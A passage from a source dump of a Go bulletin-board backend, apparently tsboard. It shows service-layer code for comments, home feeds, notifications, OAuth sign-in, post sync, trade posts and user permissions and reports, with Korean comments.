&TsboardCommentService{repos: repos} 30 | } 31 | 32 | // 댓글에 좋아요 클릭하기 33 | func (s *TsboardCommentService) Like(param models.CommentLikeParameter) { 34 | if isLiked := s.repos.Comment.IsLikedComment(param.CommentUid, param.UserUid); !isLiked { 35 | s.repos.Comment.InsertLikeComment(param) 36 | 37 | postUid, targetUserUid := s.repos.Comment.FindPostUserUidByUid(param.CommentUid) 38 | if param.UserUid != targetUserUid { 39 | s.repos.Noti.InsertNotification(models.InsertNotificationParameter{ 40 | ActionUserUid: param.UserUid, 41 | TargetUserUid: targetUserUid, 42 | NotiType: models.NOTI_LIKE_COMMENT, 43 | PostUid: postUid, 44 | CommentUid: param.CommentUid, 45 | }) 46 | } 47 | } else { 48 | s.repos.Comment.UpdateLikeComment(param) 49 | } 50 | } 51 | 52 | // 댓글 목록 가져오기 53 | func (s *TsboardCommentService) LoadList(param models.CommentListParameter) (models.CommentListResult, error) { 54 | result := models.CommentListResult{} 55 | userLv, _ := s.repos.User.GetUserLevelPoint(param.UserUid) 56 | needLv, _ := s.repos.BoardView.GetNeededLevelPoint(param.BoardUid, models.BOARD_ACTION_VIEW) 57 | if userLv < needLv { 58 | return result, fmt.Errorf("level restriction") 59 | } 60 | 61 | status := s.repos.Comment.GetPostStatus(param.PostUid) 62 | if status == models.CONTENT_SECRET { 63 | isAdmin := s.repos.Auth.CheckPermissionByUid(param.UserUid, param.BoardUid) 64 | isAuthor := s.repos.BoardView.IsWriter(models.TABLE_POST, param.PostUid, param.UserUid) 65 | if !isAdmin && !isAuthor { 66 | return result, fmt.Errorf("you have no permission to read comments on this post") 67 | } 68 | } 69 | if status == models.CONTENT_REMOVED { 70 | return result, fmt.Errorf("post has been removed") 71 | } 72 | 73 | if param.SinceUid < 1 { 74 | param.SinceUid = s.repos.Comment.GetMaxUid() + 1 75 | } 76 | 77 | result.BoardUid = param.BoardUid 78 | result.SinceUid = param.SinceUid 79 | result.TotalCommentCount = s.repos.Board.GetCommentCount(param.PostUid) 80 | comments, err := s.repos.Comment.GetComments(param) 81 | if err != nil { 82 | return result, err 83 | } 84 | result.Comments = comments 85 | return result, nil 86 | } 87 | 88 | // 기존 댓글 수정하기 89 | func (s *TsboardCommentService) Modify(param models.CommentModifyParameter) error { 90 | isAdmin := s.repos.Auth.CheckPermissionByUid(param.UserUid, param.BoardUid) 91 | isAuthor := s.repos.BoardView.IsWriter(models.TABLE_COMMENT, param.CommentUid, param.UserUid) 92 | if !isAdmin && !isAuthor { 93 | return fmt.Errorf("you have no permission to edit this comment") 94 | } 95 | s.repos.Comment.UpdateComment(param.CommentUid, param.Content) 96 | return nil 97 | } 98 | 99 | // 댓글 삭제하기 100 | func (s *TsboardCommentService) Remove(commentUid uint, boardUid uint, userUid uint) error { 101 | isAdmin := s.repos.Auth.CheckPermissionByUid(userUid, boardUid) 102 | isAuthor := s.repos.BoardView.IsWriter(models.TABLE_COMMENT, commentUid, userUid) 103 | if !isAdmin && !isAuthor { 104 | return fmt.Errorf("you have no permission to remove this comment") 105 | } 106 | 107 | if hasReply := s.repos.Comment.HasReplyComment(commentUid); hasReply { 108 | s.repos.Comment.UpdateComment(commentUid, "") 109 | } else { 110 | s.repos.Comment.RemoveComment(commentUid) 111 | } 112 | return nil 113 | } 114 | 115 | // 새로운 답글 작성하기 116 | func (s *TsboardCommentService) Reply(param models.CommentReplyParameter) (uint, error) { 117 | insertId, err := s.Write(param.CommentWriteParameter) 118 | if err != nil { 119 | return models.FAILED, err 120 | } 121 | s.repos.Comment.UpdateReplyUid(insertId, param.ReplyTargetUid) 122 | return insertId, nil 123 | } 124 | 125 | // 새로운 댓글 작성하기 126 | func (s *TsboardCommentService) Write(param models.CommentWriteParameter) (uint, error) { 127 | if hasPerm := s.repos.Auth.CheckPermissionForAction(param.UserUid, models.USER_ACTION_WRITE_COMMENT); !hasPerm { 128 | return models.FAILED, fmt.Errorf("you have no permission to write a comment") 129 | } 130 | if isBanned := s.repos.BoardView.CheckBannedByWriter(param.PostUid, param.UserUid); isBanned { 131 | return models.FAILED, fmt.Errorf("you have been blocked by writer") 132 | } 133 | if status := s.repos.Comment.GetPostStatus(param.PostUid); status == models.CONTENT_REMOVED { 134 | return models.FAILED, fmt.Errorf("leaving a comment on a removed post is not allowed") 135 | } 136 | 137 | userLv, userPt := s.repos.User.GetUserLevelPoint(param.UserUid) 138 | needLv, needPt := s.repos.BoardView.GetNeededLevelPoint(param.BoardUid, models.BOARD_ACTION_COMMENT) 139 | if userLv < needLv { 140 | return models.FAILED, fmt.Errorf("level restriction") 141 | } 142 | if needPt < 0 && userPt < utils.Abs(needPt) { 143 | return models.FAILED, fmt.Errorf("not enough point") 144 | } 145 | s.repos.User.UpdateUserPoint(param.UserUid, uint(userPt+needPt)) 146 | s.repos.User.UpdatePointHistory(models.UpdatePointParameter{ 147 | UserUid: param.UserUid, 148 | BoardUid: param.BoardUid, 149 | Action: models.POINT_ACTION_COMMENT, 150 | Point: needPt, 151 | }) 152 | 153 | insertId, err := s.repos.Comment.InsertComment(param) 154 | if err != nil { 155 | return models.FAILED, err 156 | } 157 | s.repos.Comment.UpdateReplyUid(insertId, insertId) 158 | 159 | targetUserUid := s.repos.Comment.GetPostWriterUid(param.PostUid) 160 | if param.UserUid != targetUserUid { 161 | s.repos.Noti.InsertNotification(models.InsertNotificationParameter{ 162 | ActionUserUid: param.UserUid, 163 | TargetUserUid: targetUserUid, 164 | NotiType: models.NOTI_LEAVE_COMMENT, 165 | PostUid: param.PostUid, 166 | CommentUid: insertId, 167 | }) 168 | 169 | if len(configs.Env.GmailAppPassword) > 0 { 170 | go func() { 171 | writerInfo := s.repos.Auth.FindMyInfoByUid(targetUserUid) 172 | commenterInfo := s.repos.Admin.FindWriterByUid(param.UserUid) 173 | config := s.repos.Board.GetBoardConfig(param.BoardUid) 174 | 175 | body := strings.ReplaceAll(templates.NoticeCommentBody, "{{Host}}", configs.Env.URL) 176 | body = strings.ReplaceAll(body, "{{Name}}", utils.Unescape(writerInfo.Name)) 177 | body = strings.ReplaceAll(body, "{{Commenter}}", utils.Unescape(commenterInfo.Name)) 178 | body = strings.ReplaceAll(body, "{{Comment}}", param.Content) 179 | body = strings.ReplaceAll(body, "{{Link}}", fmt.Sprintf("%s%s/board/%s/%d", configs.Env.URL, configs.Env.URLPrefix, config.Id, param.PostUid)) 180 | body = strings.ReplaceAll(body, "{{From}}", configs.Env.GmailID) 181 | subject := fmt.Sprintf("[%s] %s has just commented on your post!", config.Name, commenterInfo.Name) 182 | 183 | utils.SendMail(writerInfo.Id, subject, body) 184 | }() 185 | } 186 | } 187 | 188 | return insertId, nil 189 | } 190 | -------------------------------------------------------------------------------- /internal/services/home_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "fmt" 5 | "html/template" 6 | "time" 7 | 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/internal/repositories" 10 | "github.com/validpublic/goapi/pkg/models" 11 | "github.com/validpublic/goapi/pkg/utils" 12 | ) 13 | 14 | type HomeService interface { 15 | AddVisitorLog(userUid uint) 16 | GetBoardIDsForSitemap() []models.HomeSitemapURL 17 | GetLatestPosts(param models.HomePostParameter) ([]models.BoardHomePostItem, error) 18 | GetSidebarLinks() ([]models.HomeSidebarGroupResult, error) 19 | LoadMainPage(bunch uint) ([]models.HomeMainArticle, error) 20 | } 21 | 22 | type TsboardHomeService struct { 23 | repos *repositories.Repository 24 | } 25 | 26 | // 리포지토리 묶음 주입받기 27 | func NewTsboardHomeService(repos *repositories.Repository) *TsboardHomeService { 28 | return &TsboardHomeService{repos: repos} 29 | } 30 | 31 | // 방문자 접속 기록하기 32 | func (s *TsboardHomeService) AddVisitorLog(userUid uint) { 33 | s.repos.Home.InsertVisitorLog(userUid) 34 | } 35 | 36 | // 사이트맵에서 보여줄 게시판 경로 목록 반환하기 37 | func (s *TsboardHomeService) GetBoardIDsForSitemap() []models.HomeSitemapURL { 38 | items := make([]models.HomeSitemapURL, 0) 39 | ids := s.repos.Home.GetBoardIDs() 40 | 41 | for _, id := range ids { 42 | item := models.HomeSitemapURL{ 43 | Loc: fmt.Sprintf("%s/board/%s/page/1", configs.Env.URL, id), 44 | LastMod: time.Now().Format("2006-01-02"), 45 | ChangeFreq: "daily", 46 | Priority: "0.5", 47 | } 48 | items = append(items, item) 49 | } 50 | return items 51 | } 52 | 53 | // 지정된 게시글 번호 이하의 최근글들 가져오기 54 | func (s *TsboardHomeService) GetLatestPosts(param models.HomePostParameter) ([]models.BoardHomePostItem, error) { 55 | items := make([]models.BoardHomePostItem, 0) 56 | posts := make([]models.HomePostItem, 0) 57 | var err error 58 | 59 | if len(param.Keyword) < 2 { 60 | posts, err = s.repos.Home.GetLatestPosts(param) 61 | } else { 62 | switch param.Option { 63 | case models.SEARCH_TAG: 64 | posts, err = s.repos.Home.FindLatestPostsByTag(param) 65 | case models.SEARCH_CATEGORY: 66 | case models.SEARCH_WRITER: 67 | posts, err = s.repos.Home.FindLatestPostsByUserUidCatUid(param) 68 | case models.SEARCH_IMAGE_DESC: 69 | posts, err = s.repos.Home.FindLatestPostsByImageDescription(param) 70 | default: 71 | posts, err = s.repos.Home.FindLatestPostsByTitleContent(param) 72 | } 73 | } 74 | if err != nil { 75 | return nil, err 76 | } 77 | 78 | for _, post := range posts { 79 | settings := s.repos.Home.GetBoardBasicSettings(post.BoardUid) 80 | if len(settings.Id) < 2 { 81 | continue 82 | } 83 | 84 | item := models.BoardHomePostItem{} 85 | item.Uid = post.Uid 86 | item.Title = post.Title 87 | item.Content = post.Content 88 | item.Submitted = post.Submitted 89 | item.Modified = post.Modified 90 | item.Hit = post.Hit 91 | item.Status = post.Status 92 | 93 | item.Id = settings.Id 94 | item.Type = settings.Type 95 | item.UseCategory = settings.UseCategory 96 | 97 | item.Category = s.repos.Board.GetCategoryByUid(post.CategoryUid) 98 | item.Cover = s.repos.Board.GetCoverImage(post.Uid) 99 | item.Comment = s.repos.Board.GetCommentCount(post.Uid) 100 | item.Writer = s.repos.Board.GetWriterInfo(post.UserUid) 101 | item.Like = s.repos.Board.GetLikeCount(post.Uid) 102 | item.Liked = s.repos.Board.CheckLikedPost(post.Uid, param.UserUid) 103 | 104 | items = append(items, item) 105 | } 106 | return items, nil 107 | } 108 | 109 | // 사이드바 그룹/게시판들 목록 가져오기 110 | func (s *TsboardHomeService) GetSidebarLinks() ([]models.HomeSidebarGroupResult, error) { 111 | return s.repos.Home.GetGroupBoardLinks() 112 | } 113 | 114 | // SEO 메인 페이지 가져오기 115 | func (s *TsboardHomeService) LoadMainPage(bunch uint) ([]models.HomeMainArticle, error) { 116 | articles := make([]models.HomeMainArticle, 0) 117 | posts, err := s.GetLatestPosts(models.HomePostParameter{ 118 | SinceUid: s.repos.Board.GetMaxUid(models.TABLE_POST) + 1, 119 | Bunch: bunch, 120 | Option: models.SEARCH_NONE, 121 | Keyword: "", 122 | UserUid: 0, 123 | BoardUid: 0, 124 | }) 125 | 126 | if err != nil { 127 | return articles, err 128 | } 129 | 130 | for _, post := range posts { 131 | article := models.HomeMainArticle{} 132 | article.Cover = fmt.Sprintf("%s%s", configs.Env.URL, post.Cover) 133 | article.Content = template.HTML(utils.Unescape(post.Content)) 134 | article.Date = utils.ConvTimestamp(post.Submitted) 135 | article.Like = post.Like 136 | article.Name = post.Writer.Name 137 | article.Title = utils.Unescape(post.Title) 138 | article.Url = fmt.Sprintf("%s/%s/%s/%d", configs.Env.URL, post.Type.String(), post.Id, post.Uid) 139 | article.Hashtags = s.repos.BoardView.GetTags(post.Uid) 140 | 141 | comments, err := s.repos.Comment.GetComments(models.CommentListParameter{ 142 | BoardUid: 0, 143 | PostUid: post.Uid, 144 | UserUid: 0, 145 | Page: 1, 146 | Bunch: bunch, 147 | SinceUid: s.repos.Comment.GetMaxUid() + 1, 148 | Direction: models.PAGE_NEXT, 149 | }) 150 | if err != nil { 151 | continue 152 | } 153 | 154 | for _, comment := range comments { 155 | item := models.HomeMainComment{ 156 | Content: template.HTML(comment.Content), 157 | Date: utils.ConvTimestamp(comment.Submitted), 158 | Like: comment.Like, 159 | Name: comment.Writer.Name, 160 | } 161 | article.Comments = append(article.Comments, item) 162 | } 163 | articles = append(articles, article) 164 | } 165 | return articles, nil 166 | } 167 | -------------------------------------------------------------------------------- /internal/services/noti_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "github.com/validpublic/goapi/internal/repositories" 5 | "github.com/validpublic/goapi/pkg/models" 6 | ) 7 | 8 | type NotiService interface { 9 | CheckedAllNoti(userUid uint) 10 | CheckedSingleNoti(notiUid uint) 11 | GetUserNoti(userUid uint, limit uint) ([]models.NotificationItem, error) 12 | SaveNewNoti(param models.InsertNotificationParameter) 13 | } 14 | 15 | type TsboardNotiService struct { 16 | repos *repositories.Repository 17 | } 18 | 19 | // 리포지토리 묶음 주입받기 20 | func NewTsboardNotiService(repos *repositories.Repository) *TsboardNotiService { 21 | return &TsboardNotiService{repos: repos} 22 | } 23 | 24 | // 모든 알람 확인 처리하기 25 | func (s *TsboardNotiService) CheckedAllNoti(userUid uint) { 26 | s.repos.Noti.UpdateAllChecked(userUid) 27 | } 28 | 29 | // 지정된 알림 번호에 대한 확인 처리하기 30 | func (s *TsboardNotiService) CheckedSingleNoti(notiUid uint) { 31 | s.repos.Noti.UpdateChecked(notiUid) 32 | } 33 | 34 | // 사용자의 알림 내역 가져오기 35 | func (s *TsboardNotiService) GetUserNoti(userUid uint, limit uint) ([]models.NotificationItem, error) { 36 | return s.repos.Noti.FindNotificationByUserUid(userUid, limit) 37 | } 38 | 39 | // 새로운 알림 저장하기 40 | func (s *TsboardNotiService) SaveNewNoti(param models.InsertNotificationParameter) { 41 | isDup := s.repos.Noti.IsNotiAdded(param) 42 | if isDup || param.ActionUserUid == param.TargetUserUid { 43 | return 44 | } 45 | s.repos.Noti.InsertNotification(param) 46 | } 47 | -------------------------------------------------------------------------------- /internal/services/oauth_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/google/uuid" 7 | "github.com/validpublic/goapi/internal/configs" 8 | "github.com/validpublic/goapi/internal/repositories" 9 | "github.com/validpublic/goapi/pkg/models" 10 | "github.com/validpublic/goapi/pkg/utils" 11 | ) 12 | 13 | type OAuthService interface { 14 | SaveProfileImage(userUid uint, profile string) 15 | RegisterOAuthUser(id string, name string, profile string) uint 16 | GenerateTokens(userUid uint) (string, string) 17 | SaveRefreshToken(userUid uint, token string) 18 | GetUserUid(id string) uint 19 | GetUserInfo(userUid uint) models.MyInfoResult 20 | } 21 | 22 | type TsboardOAuthService struct { 23 | repos *repositories.Repository 24 | } 25 | 26 | // 리포지토리 묶음 주입받기 27 | func NewTsboardOAuthService(repos *repositories.Repository) *TsboardOAuthService { 28 | return &TsboardOAuthService{repos: repos} 29 | } 30 | 31 | // OAuth 계정에 프로필 이미지가 있다면 가져와 저장하기 32 | func (s *TsboardOAuthService) SaveProfileImage(userUid uint, profile string) { 33 | dirPath, err := utils.MakeSavePath(models.UPLOAD_PROFILE) 34 | if err != nil { 35 | return 36 | } 37 | newSavePath := fmt.Sprintf("%s/%s.webp", dirPath, uuid.New().String()) 38 | utils.DownloadImage(profile, newSavePath, configs.SIZE_PROFILE.Number()) 39 | s.repos.User.UpdateUserProfile(userUid, newSavePath[1:]) 40 | } 41 | 42 | // OAuth 로그인 시 미가입 상태이면 바로 등록해주기 (프로필도 있으면 함께) 43 | func (s *TsboardOAuthService) RegisterOAuthUser(id string, name string, profile string) uint { 44 | pw := uuid.New().String()[:10] 45 | pw = utils.GetHashedString(pw) 46 | userUid := s.repos.User.InsertNewUser(id, pw, name) 47 | if userUid > 0 && profile != "" { 48 | s.SaveProfileImage(userUid, profile) 49 | } 50 | return userUid 51 | } 52 | 53 | // OAuth 로그인 후 액세스, 리프레시 토큰 생성해주기 54 | func (s *TsboardOAuthService) GenerateTokens(userUid uint) (string, string) { 55 | auth, _ := utils.GenerateAccessToken(userUid, 2) 56 | refresh, _ := utils.GenerateRefreshToken(1) 57 | return auth, refresh 58 | } 59 | 60 | // 리프레시 토큰을 DB에 저장해주기 61 | func (s *TsboardOAuthService) SaveRefreshToken(userUid uint, token string) { 62 | s.repos.Auth.SaveRefreshToken(userUid, token) 63 | s.repos.Auth.UpdateUserSignin(userUid) 64 | } 65 | 66 | // 회원 아이디(이메일)에 해당하는 고유 번호 반환 67 | func (s *TsboardOAuthService) GetUserUid(id string) uint { 68 | return s.repos.Auth.FindUserUidById(id) 69 | } 70 | 71 | // 회원 정보 가져오기 72 | func (s *TsboardOAuthService) GetUserInfo(userUid uint) models.MyInfoResult { 73 | return s.repos.Auth.FindMyInfoByUid(userUid) 74 | } 75 | -------------------------------------------------------------------------------- /internal/services/service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import "github.com/validpublic/goapi/internal/repositories" 4 | 5 | // 모든 서비스들을 관리 6 | type Service struct { 7 | Admin AdminService 8 | Auth AuthService 9 | Board BoardService 10 | Blog BlogService 11 | Chat ChatService 12 | Comment CommentService 13 | Home HomeService 14 | Noti NotiService 15 | OAuth OAuthService 16 | Sync SyncService 17 | Trade TradeService 18 | User UserService 19 | } 20 | 21 | // 모든 서비스들을 생성 22 | func NewService(repos *repositories.Repository) *Service { 23 | return &Service{ 24 | Admin: NewTsboardAdminService(repos), 25 | Auth: NewTsboardAuthService(repos), 26 | Board: NewTsboardBoardService(repos), 27 | Blog: NewTsboardBlogService(repos), 28 | Chat: NewTsboardChatService(repos), 29 | Comment: NewTsboardCommentService(repos), 30 | Home: NewTsboardHomeService(repos), 31 | Noti: NewTsboardNotiService(repos), 32 | OAuth: NewTsboardOAuthService(repos), 33 | Sync: NewTsboardSyncService(repos), 34 | Trade: NewTsboardTradeService(repos), 35 | User: NewTsboardUserService(repos), 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /internal/services/sync_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "github.com/validpublic/goapi/internal/repositories" 5 | "github.com/validpublic/goapi/pkg/models" 6 | "github.com/validpublic/goapi/pkg/utils" 7 | ) 8 | 9 | type SyncService interface { 10 | GetLatestPosts(bunch uint) []models.SyncPostItem 11 | } 12 | 13 | type TsboardSyncService struct { 14 | repos *repositories.Repository 15 | } 16 | 17 | // 리포지토리 묶음 주입받기 18 | func NewTsboardSyncService(repos *repositories.Repository) *TsboardSyncService { 19 | return &TsboardSyncService{repos: repos} 20 | } 21 | 22 | // (허용된) 다른 곳에서 이 곳 게시글들을 동기화 할 수 있도록 최근 게시글들 가져오기 23 | func (s *TsboardSyncService) GetLatestPosts(bunch uint) []models.SyncPostItem { 24 | items := make([]models.SyncPostItem, 0) 25 | maxUid := s.repos.Board.GetMaxUid(models.TABLE_POST) + 1 26 | posts, err := s.repos.Home.GetLatestPosts(models.HomePostParameter{ 27 | SinceUid: maxUid, 28 | Bunch: bunch, 29 | Option: models.SEARCH_NONE, 30 | Keyword: "", 31 | UserUid: 0, 32 | BoardUid: 0, 33 | }) 34 | if err != nil { 35 | return items 36 | } 37 | 38 | for _, post := range posts { 39 | config := s.repos.Board.GetBoardConfig(post.BoardUid) 40 | writer := s.repos.Board.GetWriterInfo(post.UserUid) 41 | 42 | hashtags := s.repos.BoardView.GetTags(post.Uid) 43 | tags := make([]string, 0) 44 | for _, tag := range hashtags { 45 | tags = append(tags, tag.Name) 46 | } 47 | 48 | attachedImages, err := s.repos.BoardView.GetAttachedImages(post.Uid) 49 | if err != nil { 50 | return items 51 | } 52 | 53 | images := make([]models.SyncImageItem, 0) 54 | for _, img := range attachedImages { 55 | filename := s.repos.Sync.GetFileName(img.File.Uid) 56 | image := models.SyncImageItem{ 57 | Uid: img.File.Uid, 58 | File: img.File.Path, 59 | Name: filename, 60 | Thumb: img.Thumbnail.Small, 61 | Full: img.Thumbnail.Large, 62 | Desc: img.Description, 63 | Exif: img.Exif, 64 | } 65 | images = append(images, image) 66 | } 67 | 68 | item := models.SyncPostItem{ 69 | Id: config.Id, 70 | No: post.Uid, 71 | Title: utils.Unescape(post.Title), 72 | Content: utils.Unescape(post.Content), 73 | Submitted: post.Submitted, 74 | Name: writer.Name, 75 | Tags: tags, 76 | Images: images, 77 | } 78 | items = append(items, item) 79 | } 80 | return items 81 | } 82 | -------------------------------------------------------------------------------- /internal/services/trade_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/validpublic/goapi/internal/repositories" 7 | "github.com/validpublic/goapi/pkg/models" 8 | ) 9 | 10 | type TradeService interface { 11 | GetTradeItem(postUid uint, userUid uint) (models.TradeResult, error) 12 | ModifyPost(param models.TradeWriterParameter) error 13 | UpdateStatus(postUid uint, newStatus uint, userUid uint) error 14 | WritePost(param models.TradeWriterParameter) error 15 | } 16 | 17 | type TsboardTradeService struct { 18 | repos *repositories.Repository 19 | } 20 | 21 | // 리포지토리 묶음 주입받기 22 | func NewTsboardTradeService(repos *repositories.Repository) *TsboardTradeService { 23 | return &TsboardTradeService{repos: repos} 24 | } 25 | 26 | // 물품 거래 보기 27 | func (s *TsboardTradeService) GetTradeItem(postUid uint, userUid uint) (models.TradeResult, error) { 28 | return s.repos.Trade.GetTradeItem(postUid) 29 | } 30 | 31 | // 물품 거래 수정하기 32 | func (s *TsboardTradeService) ModifyPost(param models.TradeWriterParameter) error { 33 | if isWriter := s.repos.BoardView.IsWriter(models.TABLE_POST, param.PostUid, param.UserUid); !isWriter { 34 | return fmt.Errorf("only the author of the post can modify") 35 | } 36 | return s.repos.Trade.UpdateTrade(param) 37 | } 38 | 39 | // 거래 상태 변경하기 40 | func (s *TsboardTradeService) UpdateStatus(postUid uint, newStatus uint, userUid uint) error { 41 | if isWriter := s.repos.BoardView.IsWriter(models.TABLE_POST, postUid, userUid); !isWriter { 42 | return fmt.Errorf("only the author of the post can change the transaction status") 43 | } 44 | return s.repos.Trade.UpdateStatus(postUid, newStatus) 45 | } 46 | 47 | // 물품 거래 게시글 작성하기 48 | func (s *TsboardTradeService) WritePost(param models.TradeWriterParameter) error { 49 | if hasPerm := s.repos.Auth.CheckPermissionForAction(param.UserUid, models.USER_ACTION_WRITE_POST); !hasPerm { 50 | return fmt.Errorf("you have no permission to write a new trade post") 51 | } 52 | return s.repos.Trade.InsertTrade(param) 53 | } 54 | -------------------------------------------------------------------------------- /internal/services/user_service.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | "github.com/validpublic/goapi/internal/repositories" 8 | "github.com/validpublic/goapi/pkg/models" 9 | "github.com/validpublic/goapi/pkg/utils" 10 | ) 11 | 12 | type UserService interface { 13 | ChangePassword(verifyUid uint, userCode string, newPassword string) bool 14 | ChangeUserInfo(info models.UpdateUserInfoParameter) error 15 | ChangeUserPermission(actionUserUid uint, perm models.UserPermissionReportResult) error 16 | GetUserInfo(userUid uint) (models.UserInfoResult, error) 17 | GetUserLevelPoint(userUid uint) (int, int) 18 | GetUserPermission(actionUserUid uint, targetUserUid uint) models.UserPermissionReportResult 19 | ReportTargetUser(actionUserUid uint, targetUserUid uint, wantBlock bool, report string) bool 20 | } 21 | 22 | type TsboardUserService struct { 23 | repos *repositories.Repository 24 | } 25 | 26 | // 리포지토리 묶음 주입받기 27 | func NewTsboardUserService(repos *repositories.Repository) *TsboardUserService { 28 | return &TsboardUserService{repos: repos} 29 | } 30 | 31 | // 비밀번호 변경하기 32 | func (s *TsboardUserService) ChangePassword(verifyUid uint, userCode string, newPassword string) bool { 33 | id, code := s.repos.Auth.FindIDCodeByVerifyUid(verifyUid) 34 | if id == "" || code == "" { 35 | return false 36 | } 37 | if code != userCode { 38 | return false 39 | } 40 | userUid := s.repos.Auth.FindUserUidById(id) 41 | if userUid < 1 { 42 | return false 43 | } 44 | 45 | s.repos.User.UpdatePassword(userUid, newPassword) 46 | return true 47 | } 48 | 49 | // 사용자 정보 변경하기 50 | func (s *TsboardUserService) ChangeUserInfo(param models.UpdateUserInfoParameter) error { 51 | if len(param.Password) == 64 { 52 | s.repos.User.UpdatePassword(param.UserUid, param.Password) 53 | } 54 | s.repos.User.UpdateUserInfoString(param.UserUid, utils.Escape(param.Name), utils.Escape(param.Signature)) 55 | 56 | if param.Profile != nil { 57 | file, err := param.Profile.Open() 58 | if err == nil { 59 | defer file.Close() 60 | } 61 | 62 | if param.Profile.Size > 0 { 63 | tempPath, err := utils.SaveUploadedFile(file, param.Profile.Filename) 64 | if err != nil { 65 | return err 66 | } 67 | profilePath, err := utils.SaveProfileImage(tempPath) 68 | if err != nil { 69 | os.Remove(tempPath) 70 | return err 71 | } 72 | 73 | s.repos.User.UpdateUserProfile(param.UserUid, profilePath[1:]) 74 | err = os.Remove("." + param.OldProfile) 75 | if err != nil { 76 | return err 77 | } 78 | err = os.Remove(tempPath) 79 | if err != nil { 80 | return err 81 | } 82 | } 83 | } 84 | 85 | return nil 86 | } 87 | 88 | // 사용자 권한 변경하기 89 | func (s *TsboardUserService) ChangeUserPermission(actionUserUid uint, perm models.UserPermissionReportResult) error { 90 | if isAdmin := s.repos.Auth.CheckPermissionByUid(actionUserUid, 0); !isAdmin { 91 | return fmt.Errorf("unauthorized access") 92 | } 93 | targetUserUid := perm.UserUid 94 | permission := perm.UserPermissionResult 95 | 96 | isPermAdded := s.repos.User.IsPermissionAdded(targetUserUid) 97 | if isPermAdded { 98 | err := s.repos.User.UpdateUserPermission(targetUserUid, permission) 99 | if err != nil { 100 | return err 101 | } 102 | } else { 103 | err := s.repos.User.InsertUserPermission(targetUserUid, permission) 104 | if err != nil { 105 | return err 106 | } 107 | } 108 | 109 | isReported := s.repos.User.IsUserReported(targetUserUid) 110 | responseReport := utils.Escape(perm.Response) 111 | if isReported { 112 | err := s.repos.User.UpdateReportResponse(targetUserUid, responseReport) 113 | if err != nil { 114 | return err 115 | } 116 | } else { 117 | err := s.repos.User.InsertReportResponse(actionUserUid, targetUserUid, responseReport) 118 | if err != nil { 119 | return err 120 | } 121 | } 122 | 123 | err := s.repos.User.UpdateUserBlocked(targetUserUid, !perm.Login) 124 | if err != nil { 125 | return err 126 | } 127 | s.repos.Chat.InsertNewChat(actionUserUid, targetUserUid, responseReport) 128 | return nil 129 | } 130 | 131 | // 사용자의 공개 정보 조회 132 | func (s *TsboardUserService) GetUserInfo(userUid uint) (models.UserInfoResult, error) { 133 | return s.repos.Auth.FindUserInfoByUid(userUid) 134 | } 135 | 136 | // 사용자의 레벨과 보유 포인트 가져오기 137 | func (s *TsboardUserService) GetUserLevelPoint(userUid uint) (int, int) { 138 | return s.repos.User.GetUserLevelPoint(userUid) 139 | } 140 | 141 | // 사용자의 권한 조회 142 | func (s *TsboardUserService) GetUserPermission(actionUserUid uint, targetUserUid uint) models.UserPermissionReportResult { 143 | result := models.UserPermissionReportResult{} 144 | if isAdmin := s.repos.Auth.CheckPermissionByUid(actionUserUid, 0); !isAdmin { 145 | return result 146 | } 147 | 148 | permission := s.repos.User.LoadUserPermission(targetUserUid) 149 | isBlocked := s.repos.User.IsBlocked(targetUserUid) 150 | response := s.repos.User.GetReportResponse(targetUserUid) 151 | 152 | result.WritePost = permission.WritePost 153 | result.WriteComment = permission.WriteComment 154 | result.SendChatMessage = permission.SendChatMessage 155 | result.SendReport = permission.SendReport 156 | result.Login = !isBlocked 157 | result.UserUid = targetUserUid 158 | result.Response = response 159 | 160 | return result 161 | } 162 | 163 | // 사용자가 특정 유저를 신고하기 164 | func (s *TsboardUserService) ReportTargetUser(actionUserUid uint, targetUserUid uint, wantBlock bool, report string) bool { 165 | isAllowedAction := s.repos.Auth.CheckPermissionForAction(actionUserUid, models.USER_ACTION_SEND_REPORT) 166 | if !isAllowedAction { 167 | return false 168 | } 169 | if wantBlock { 170 | s.repos.User.InsertBlackList(actionUserUid, targetUserUid) 171 | } 172 | s.repos.User.InsertReportUser(actionUserUid, targetUserUid, utils.Escape(report)) 173 | return true 174 | } 175 | -------------------------------------------------------------------------------- /pkg/models/admin_model.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | // 대시보드 통계 추출 시 필요한 컬럼 타입 정의 4 | type StatisticColumn uint8 5 | 6 | // 통계용 컬럼 타입 목록 7 | const ( 8 | COLUMN_TIMESTAMP StatisticColumn = iota 9 | COLUMN_SIGNUP 10 | COLUMN_SUBMITTED 11 | ) 12 | 13 | func (s StatisticColumn) String() string { 14 | switch s { 15 | case COLUMN_SIGNUP: 16 | return "signup" 17 | case COLUMN_SUBMITTED: 18 | return "submitted" 19 | default: 20 | return "timestamp" 21 | } 22 | } 23 | 24 | // 게시판 생성 시 기본값 정의 25 | const ( 26 | CREATE_BOARD_ADMIN = 1 27 | CREATE_BOARD_TYPE = 0 /* board */ 28 | CREATE_BOARD_NAME = "board name" 29 | CREATE_BOARD_INFO = "description for this board" 30 | CREATE_BOARD_ROWS = 15 31 | CREATE_BOARD_WIDTH = 1000 32 | CREATE_BOARD_USE_CAT = 1 33 | CREATE_BOARD_LV_LIST = 0 34 | CREATE_BOARD_LV_VIEW = 0 35 | CREATE_BOARD_LV_WRITE = 1 /* 0 is not allowed */ 36 | CREATE_BOARD_LV_COMMENT = 1 /* 0 is not allowed */ 37 | CREATE_BOARD_LV_DOWNLOAD = 1 /* 0 is not allowed */ 38 | CREATE_BOARD_PT_VIEW = 0 39 | CREATE_BOARD_PT_WRITE = 5 40 | CREATE_BOARD_PT_COMMENT = 2 41 | CREATE_BOARD_PT_DOWNLOAD = -10 42 | ) 43 | 44 | // 그룹 생성 시 기본값 정의 45 | const CREATE_GROUP_ADMIN = 1 46 